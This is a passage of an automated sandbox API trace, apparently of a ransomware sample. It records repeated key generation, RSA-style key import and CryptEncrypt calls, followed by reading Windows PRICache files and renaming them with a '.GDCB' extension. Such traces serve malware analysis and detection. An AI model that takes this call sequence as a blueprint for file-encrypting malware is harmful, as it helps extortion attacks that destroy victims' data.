pbBuffer=0x285ddac | out: pbBuffer=0x285ddac) returned 1 [0282.922] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0282.922] CryptAcquireContextW (in: phProv=0x285dc5c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285dc5c*=0x5c4760) returned 1 [0282.924] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0282.926] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0282.926] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285dd78 | out: pbBuffer=0x285dd78) returned 1 [0282.926] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0282.927] CryptAcquireContextW (in: phProv=0x285dc4c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285dc4c*=0x5c4760) returned 1 [0282.929] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285dc50 | out: phKey=0x285dc50*=0x678fee0) returned 1 [0282.929] CryptGetKeyParam (in: hKey=0x678fee0, dwParam=0x8, pbData=0x285dc3c, pdwDataLen=0x285dc44, dwFlags=0x0 | out: pbData=0x285dc3c*=0x800, pdwDataLen=0x285dc44*=0x4) returned 1 [0282.929] CryptEncrypt (in: hKey=0x678fee0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xce60000*, pdwDataLen=0x285ddc4*=0xc8, dwBufLen=0x800 | out: pbData=0xce60000*, pdwDataLen=0x285ddc4*=0x100) returned 1 [0282.929] GetLastError () returned 0x0 [0282.929] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0282.929] CryptAcquireContextW (in: phProv=0x285dc4c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285dc4c*=0x5c4e48) returned 1 [0282.931] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285dc50 | out: phKey=0x285dc50*=0x678fe20) returned 1 [0282.931] CryptGetKeyParam (in: hKey=0x678fe20, dwParam=0x8, pbData=0x285dc3c, pdwDataLen=0x285dc44, dwFlags=0x0 | out: pbData=0x285dc3c*=0x800, pdwDataLen=0x285dc44*=0x4) returned 1 [0282.931] CryptEncrypt (in: hKey=0x678fe20, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xce70000*, pdwDataLen=0x285ddc8*=0xc8, dwBufLen=0x800 | out: pbData=0xce70000*, pdwDataLen=0x285ddc8*=0x100) returned 1 [0282.931] GetLastError () returned 0x0 [0282.931] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0282.931] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\Notifications\\appdb.dat" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\notifications\\appdb.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0282.968] CryptAcquireContextW (in: phProv=0x285d74c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d74c*=0x5c4760) returned 1 [0282.972] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0282.974] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0282.974] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285d89c | out: pbBuffer=0x285d89c) returned 1 [0282.974] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0282.974] CryptAcquireContextW (in: phProv=0x285d74c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d74c*=0x5c4980) returned 1 [0282.976] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0282.978] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0282.978] CryptGenRandom (in: hProv=0x5c4980, dwLen=0x20, pbBuffer=0x285d868 | out: pbBuffer=0x285d868) returned 1 [0282.979] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0282.979] CryptAcquireContextW (in: phProv=0x285d73c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d73c*=0x5c4760) returned 1 [0282.981] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d740 | out: phKey=0x285d740*=0x678fce0) returned 1 [0282.981] CryptGetKeyParam (in: hKey=0x678fce0, dwParam=0x8, pbData=0x285d72c, pdwDataLen=0x285d734, dwFlags=0x0 | out: pbData=0x285d72c*=0x800, pdwDataLen=0x285d734*=0x4) returned 1 [0282.981] CryptEncrypt (in: hKey=0x678fce0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xce80000*, pdwDataLen=0x285d8b4*=0xc8, dwBufLen=0x800 | out: pbData=0xce80000*, pdwDataLen=0x285d8b4*=0x100) returned 1 [0282.981] GetLastError () returned 0x0 [0282.981] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0282.981] CryptAcquireContextW (in: phProv=0x285d73c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d73c*=0x5c4760) returned 1 [0282.983] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d740 | out: phKey=0x285d740*=0x6790020) returned 1 [0282.983] CryptGetKeyParam (in: hKey=0x6790020, dwParam=0x8, pbData=0x285d72c, pdwDataLen=0x285d734, dwFlags=0x0 | out: pbData=0x285d72c*=0x800, pdwDataLen=0x285d734*=0x4) returned 1 [0282.983] CryptEncrypt (in: hKey=0x6790020, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xce90000*, pdwDataLen=0x285d8b8*=0xc8, dwBufLen=0x800 | out: pbData=0xce90000*, pdwDataLen=0x285d8b8*=0x100) returned 1 [0282.983] GetLastError () returned 0x0 [0282.983] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0282.983] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\PRICache\\Microsoft.AAD.BrokerPlugin_1000.10240.16384.0_neutral_neutral_cw5n1h2txyewy\\3779757838\\1034590242.pri" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\pricache\\microsoft.aad.brokerplugin_1000.10240.16384.0_neutral_neutral_cw5n1h2txyewy\\3779757838\\1034590242.pri"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0282.990] CryptAcquireContextW (in: phProv=0x285d74c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d74c*=0x5c4760) returned 1 [0282.993] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0282.995] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0282.995] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285d89c | out: pbBuffer=0x285d89c) returned 1 [0282.995] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0282.995] CryptAcquireContextW (in: phProv=0x285d74c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d74c*=0x5c4e48) returned 1 [0282.997] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0282.999] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0283.000] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x20, pbBuffer=0x285d868 | out: pbBuffer=0x285d868) returned 1 [0283.000] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0283.000] CryptAcquireContextW (in: phProv=0x285d73c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d73c*=0x5c4760) returned 1 [0283.003] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d740 | out: phKey=0x285d740*=0x678fae0) returned 1 [0283.003] CryptGetKeyParam (in: hKey=0x678fae0, dwParam=0x8, pbData=0x285d72c, pdwDataLen=0x285d734, dwFlags=0x0 | out: pbData=0x285d72c*=0x800, pdwDataLen=0x285d734*=0x4) returned 1 [0283.003] CryptEncrypt (in: hKey=0x678fae0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcea0000*, pdwDataLen=0x285d8b4*=0xc8, dwBufLen=0x800 | out: pbData=0xcea0000*, pdwDataLen=0x285d8b4*=0x100) returned 1 [0283.003] GetLastError () returned 0x0 [0283.003] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0283.003] CryptAcquireContextW (in: phProv=0x285d73c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d73c*=0x5c4760) returned 1 [0283.005] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d740 | out: phKey=0x285d740*=0x678fc60) returned 1 [0283.005] CryptGetKeyParam (in: hKey=0x678fc60, dwParam=0x8, pbData=0x285d72c, pdwDataLen=0x285d734, dwFlags=0x0 | out: pbData=0x285d72c*=0x800, pdwDataLen=0x285d734*=0x4) returned 1 [0283.005] CryptEncrypt (in: hKey=0x678fc60, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xceb0000*, pdwDataLen=0x285d8b8*=0xc8, dwBufLen=0x800 | out: pbData=0xceb0000*, pdwDataLen=0x285d8b8*=0x100) returned 1 [0283.005] GetLastError () returned 0x0 [0283.005] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0283.005] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\PRICache\\Microsoft.AccountsControl_10.0.10240.16384_neutral__cw5n1h2txyewy\\3053798886\\3825186184.pri" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\pricache\\microsoft.accountscontrol_10.0.10240.16384_neutral__cw5n1h2txyewy\\3053798886\\3825186184.pri"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x50c [0283.007] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0xcec0000 [0283.010] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0xced0000 [0283.012] ReadFile (in: hFile=0x50c, lpBuffer=0xced0000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285d8f8, lpOverlapped=0x0 | out: lpBuffer=0xced0000*, lpNumberOfBytesRead=0x285d8f8*=0x3c10, lpOverlapped=0x0) returned 1 [0283.034] VirtualAlloc (lpAddress=0x0, dwSize=0x3c10, flAllocationType=0x3000, flProtect=0x4) returned 0xcfe0000 [0283.040] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\PRICache\\Microsoft.AccountsControl_10.0.10240.16384_neutral__cw5n1h2txyewy\\3053798886\\3825186184.pri" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\pricache\\microsoft.accountscontrol_10.0.10240.16384_neutral__cw5n1h2txyewy\\3053798886\\3825186184.pri"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\PRICache\\Microsoft.AccountsControl_10.0.10240.16384_neutral__cw5n1h2txyewy\\3053798886\\3825186184.pri.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\pricache\\microsoft.accountscontrol_10.0.10240.16384_neutral__cw5n1h2txyewy\\3053798886\\3825186184.pri.gdcb")) returned 0 [0283.047] CryptAcquireContextW (in: phProv=0x285d74c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d74c*=0x5c4760) returned 1 [0283.051] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0283.053] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0283.053] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285d89c | out: pbBuffer=0x285d89c) returned 1 [0283.053] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0283.053] CryptAcquireContextW (in: phProv=0x285d74c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d74c*=0x5c4760) returned 1 [0283.056] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0283.058] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0283.058] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285d868 | out: pbBuffer=0x285d868) returned 1 [0283.058] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0283.058] CryptAcquireContextW (in: phProv=0x285d73c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d73c*=0x5c4980) returned 1 [0283.060] CryptImportKey (in: hProv=0x5c4980, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d740 | out: phKey=0x285d740*=0x678fd20) returned 1 [0283.060] CryptGetKeyParam (in: hKey=0x678fd20, dwParam=0x8, pbData=0x285d72c, pdwDataLen=0x285d734, dwFlags=0x0 | out: pbData=0x285d72c*=0x800, pdwDataLen=0x285d734*=0x4) returned 1 [0283.060] CryptEncrypt (in: hKey=0x678fd20, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcea0000*, pdwDataLen=0x285d8b4*=0xc8, dwBufLen=0x800 | out: pbData=0xcea0000*, pdwDataLen=0x285d8b4*=0x100) returned 1 [0283.061] GetLastError () returned 0x0 [0283.061] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0283.061] CryptAcquireContextW (in: phProv=0x285d73c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d73c*=0x5c4760) returned 1 [0283.063] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d740 | out: phKey=0x285d740*=0x678fba0) returned 1 [0283.063] CryptGetKeyParam (in: hKey=0x678fba0, dwParam=0x8, pbData=0x285d72c, pdwDataLen=0x285d734, dwFlags=0x0 | out: pbData=0x285d72c*=0x800, pdwDataLen=0x285d734*=0x4) returned 1 [0283.063] CryptEncrypt (in: hKey=0x678fba0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xceb0000*, pdwDataLen=0x285d8b8*=0xc8, dwBufLen=0x800 | out: pbData=0xceb0000*, pdwDataLen=0x285d8b8*=0x100) returned 1 [0283.063] GetLastError () returned 0x0 [0283.063] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0283.063] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\PRICache\\Microsoft.BioEnrollment_10.0.10240.16384_neutral__cw5n1h2txyewy\\3782802250\\2924287686.pri" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\pricache\\microsoft.bioenrollment_10.0.10240.16384_neutral__cw5n1h2txyewy\\3782802250\\2924287686.pri"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x50c [0283.064] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0xcec0000 [0283.067] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0xced0000 [0283.070] ReadFile (in: hFile=0x50c, lpBuffer=0xced0000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285d8f8, lpOverlapped=0x0 | out: lpBuffer=0xced0000*, lpNumberOfBytesRead=0x285d8f8*=0x19f0, lpOverlapped=0x0) returned 1 [0283.079] VirtualAlloc (lpAddress=0x0, dwSize=0x19f0, flAllocationType=0x3000, flProtect=0x4) returned 0xcfe0000 [0283.085] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\PRICache\\Microsoft.BioEnrollment_10.0.10240.16384_neutral__cw5n1h2txyewy\\3782802250\\2924287686.pri" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\pricache\\microsoft.bioenrollment_10.0.10240.16384_neutral__cw5n1h2txyewy\\3782802250\\2924287686.pri"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\PRICache\\Microsoft.BioEnrollment_10.0.10240.16384_neutral__cw5n1h2txyewy\\3782802250\\2924287686.pri.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\pricache\\microsoft.bioenrollment_10.0.10240.16384_neutral__cw5n1h2txyewy\\3782802250\\2924287686.pri.gdcb")) returned 1 [0283.091] CryptAcquireContextW (in: phProv=0x285d74c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d74c*=0x5c4e48) returned 1 [0283.094] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0283.097] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0283.097] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x10, pbBuffer=0x285d89c | out: pbBuffer=0x285d89c) returned 1 [0283.097] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0283.097] CryptAcquireContextW (in: phProv=0x285d74c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d74c*=0x5c4e48) returned 1 [0283.100] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0283.102] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0283.102] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x20, pbBuffer=0x285d868 | out: pbBuffer=0x285d868) returned 1 [0283.102] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0283.103] CryptAcquireContextW (in: phProv=0x285d73c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d73c*=0x5c4760) returned 1 [0283.105] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d740 | out: phKey=0x285d740*=0x678fde0) returned 1 [0283.105] CryptGetKeyParam (in: hKey=0x678fde0, dwParam=0x8, pbData=0x285d72c, pdwDataLen=0x285d734, dwFlags=0x0 | out: pbData=0x285d72c*=0x800, pdwDataLen=0x285d734*=0x4) returned 1 [0283.105] CryptEncrypt (in: hKey=0x678fde0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcea0000*, pdwDataLen=0x285d8b4*=0xc8, dwBufLen=0x800 | out: pbData=0xcea0000*, pdwDataLen=0x285d8b4*=0x100) returned 1 [0283.105] GetLastError () returned 0x0 [0283.105] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0283.105] CryptAcquireContextW (in: phProv=0x285d73c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d73c*=0x5c4760) returned 1 [0283.107] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d740 | out: phKey=0x285d740*=0x6790060) returned 1 [0283.107] CryptGetKeyParam (in: hKey=0x6790060, dwParam=0x8, pbData=0x285d72c, pdwDataLen=0x285d734, dwFlags=0x0 | out: pbData=0x285d72c*=0x800, pdwDataLen=0x285d734*=0x4) returned 1 [0283.107] CryptEncrypt (in: hKey=0x6790060, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xceb0000*, pdwDataLen=0x285d8b8*=0xc8, dwBufLen=0x800 | out: pbData=0xceb0000*, pdwDataLen=0x285d8b8*=0x100) returned 1 [0283.108] GetLastError () returned 0x0 [0283.108] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0283.108] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\PRICache\\Microsoft.LockApp_10.0.10240.16384_neutral__cw5n1h2txyewy\\1978304864\\923683402.pri" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\pricache\\microsoft.lockapp_10.0.10240.16384_neutral__cw5n1h2txyewy\\1978304864\\923683402.pri"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x50c [0283.109] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0xcec0000 [0283.112] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0xced0000 [0283.115] ReadFile (in: hFile=0x50c, lpBuffer=0xced0000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285d8f8, lpOverlapped=0x0 | out: lpBuffer=0xced0000*, lpNumberOfBytesRead=0x285d8f8*=0xa30, lpOverlapped=0x0) returned 1 [0283.124] VirtualAlloc (lpAddress=0x0, dwSize=0xa30, flAllocationType=0x3000, flProtect=0x4) returned 0xcfe0000 [0283.129] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\PRICache\\Microsoft.LockApp_10.0.10240.16384_neutral__cw5n1h2txyewy\\1978304864\\923683402.pri" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\pricache\\microsoft.lockapp_10.0.10240.16384_neutral__cw5n1h2txyewy\\1978304864\\923683402.pri"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\PRICache\\Microsoft.LockApp_10.0.10240.16384_neutral__cw5n1h2txyewy\\1978304864\\923683402.pri.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\pricache\\microsoft.lockapp_10.0.10240.16384_neutral__cw5n1h2txyewy\\1978304864\\923683402.pri.gdcb")) returned 1 [0283.137] CryptAcquireContextW (in: phProv=0x285d74c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d74c*=0x5c4760) returned 1 [0283.140] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0283.143] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0283.143] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285d89c | out: pbBuffer=0x285d89c) returned 1 [0283.143] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0283.143] CryptAcquireContextW (in: phProv=0x285d74c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d74c*=0x5c4760) returned 1 [0283.146] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0283.148] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0283.148] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285d868 | out: pbBuffer=0x285d868) returned 1 [0283.148] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0283.148] CryptAcquireContextW (in: phProv=0x285d73c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d73c*=0x5c4980) returned 1 [0283.150] CryptImportKey (in: hProv=0x5c4980, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d740 | out: phKey=0x285d740*=0x678fca0) returned 1 [0283.150] CryptGetKeyParam (in: hKey=0x678fca0, dwParam=0x8, pbData=0x285d72c, pdwDataLen=0x285d734, dwFlags=0x0 | out: pbData=0x285d72c*=0x800, pdwDataLen=0x285d734*=0x4) returned 1 [0283.150] CryptEncrypt (in: hKey=0x678fca0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcea0000*, pdwDataLen=0x285d8b4*=0xc8, dwBufLen=0x800 | out: pbData=0xcea0000*, pdwDataLen=0x285d8b4*=0x100) returned 1 [0283.150] GetLastError () returned 0x0 [0283.150] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0283.151] CryptAcquireContextW (in: phProv=0x285d73c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d73c*=0x5c4e48) returned 1 [0283.152] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d740 | out: phKey=0x285d740*=0x678f9e0) returned 1 [0283.153] CryptGetKeyParam (in: hKey=0x678f9e0, dwParam=0x8, pbData=0x285d72c, pdwDataLen=0x285d734, dwFlags=0x0 | out: pbData=0x285d72c*=0x800, pdwDataLen=0x285d734*=0x4) returned 1 [0283.153] CryptEncrypt (in: hKey=0x678f9e0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xceb0000*, pdwDataLen=0x285d8b8*=0xc8, dwBufLen=0x800 | out: pbData=0xceb0000*, pdwDataLen=0x285d8b8*=0x100) returned 1 [0283.153] GetLastError () returned 0x0 [0283.153] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0283.153] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\PRICache\\Microsoft.MicrosoftEdge_20.10240.16384.0_neutral__8wekyb3d8bbwe\\1605653898\\4275773285.pri" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\pricache\\microsoft.microsoftedge_20.10240.16384.0_neutral__8wekyb3d8bbwe\\1605653898\\4275773285.pri"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x50c [0283.154] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0xcec0000 [0283.158] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0xced0000 [0283.162] ReadFile (in: hFile=0x50c, 